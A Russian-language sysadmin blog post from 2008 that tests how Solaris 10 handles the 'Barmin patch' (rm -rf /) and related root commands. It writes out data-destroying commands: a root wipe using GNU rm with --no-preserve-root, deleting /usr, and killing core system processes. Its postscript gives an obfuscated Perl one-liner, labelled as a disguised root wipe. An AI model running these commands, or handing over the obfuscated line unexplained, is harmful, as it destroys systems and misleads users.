пятница, 5 декабря 2008 г.

Патч Бармина и другие страшные слова

Патч Бармина - любимая шутка системных администраторов, оборудованных головным мозгом ;), над администраторами, не оборудованными оным - больше не действует в Солярисе 10.

Защита от дурака (fool proof) проникла и в наш последний бастион оборудованных головным мозгом и инстинктом самосохранения. :)

Попытка выполнить команду rm -rf / теперь обламывается:

server5# echo $0
-sh
server5# rm -rf /
rm of / is not allowed
server5# ksh
ksh:server5# rm -rf /
rm of / is not allowed
ksh:server5# bash
ksh:server5# rm -rf /
rm of / is not allowed

Вариация

server4# rm -rf --no-preserve-root /
rm: illegal option -- no-preserve-root
usage: rm [-fiRr] file ...

в лоб не работает. Нету такой опции в оригинальном rm у Solaris :).

Поставим на машину-жертву coreutils от GNU с Sunfreeware и повторим опыт:

server5# /usr/local/bin/rm -rf /
/usr/local/bin/rm: cannot remove root directory `/'

А вот то же самое с соответствующим ключом уже срабатывает:

Installation of was successful.
server4# /usr/local/bin/rm -rf --no-preserve-root /
(кирдык системе)

Однако не стоит обольщаться - все еще остается возможность вынести другие важные части системы и проделать это совершенно безнаказанно и, если и не приговорить систему, то уж нарваться на переустановку всяко:

server5# rm -rf /usr

Без usr Солярис не переходит в многопользовательский режим, так что...

Посмотрим, что еще можно сделать в плане причинения наибольших разрушений от рута. ;)

Попробуем, например, поубивать системные процессы:

server5# ps -ef |more
UID PID PPID C STIME TTY TIME CMD
root 0 0 0 04:29:09 ? 0:08 sched
root 1 0 0 04:29:10 ? 0:01 /sbin/init
root 2 0 0 04:29:10 ? 0:00 pageout
root 3 0 0 04:29:10 ? 0:04 fsflush

server5# kill -9 3
server5# kill -9 2
server5# kill -9 1
kill: permission denied
server5# kill -9 0

server5 console login: root
Password:
Last login: Fri Dec 5 05:08:47 on console
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
Welcome to SA100-S10_B on server5
server5# ps -ef|more
UID PID PPID C STIME TTY TIME CMD
root 0 0 0 04:29:09 ? 0:08 sched
root 1 0 0 04:29:10 ? 0:01 /sbin/init
root 2 0 0 04:29:10 ? 0:00 pageout
root 3 0 0 04:29:10 ? 0:04 fsflush

Ух ты, не получается!

Посылка сигнала KILL процессу 0 (планировщику) всего лишь выкидывает нас на login - но и только. Init убить напрямую нельзя. Процессу 2 и 3, похоже, все равно - их даже не поцарапало. :)

Солярис больше не исходит из допущения, что root оборудован головным мозгом и в некоторых - наиболее неприятных точках - защищен от анацефала ;). Однако не на уровне ядра, так что надежда все еще жива :).

PS. Замаскированный патч Бармина:

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

тоже больше не причиняет вреда Солярису. Он просто не выполняется по очевидным причинам, рассмотренным выше. :) Если только кто-нибудь не перепишет его на вызов coreutils. ;)

PPS. Все вышеперечисленное тестировалось вживую на Solaris 10 10/08 SPARC.
_______________________
Автор снимает с себя любую ответственность за тестирование всего вышеперечисленного на продуктивных системах администраторами, не оборудованными головным мозгом, в случае каких-либо деструктивных последствий. ;)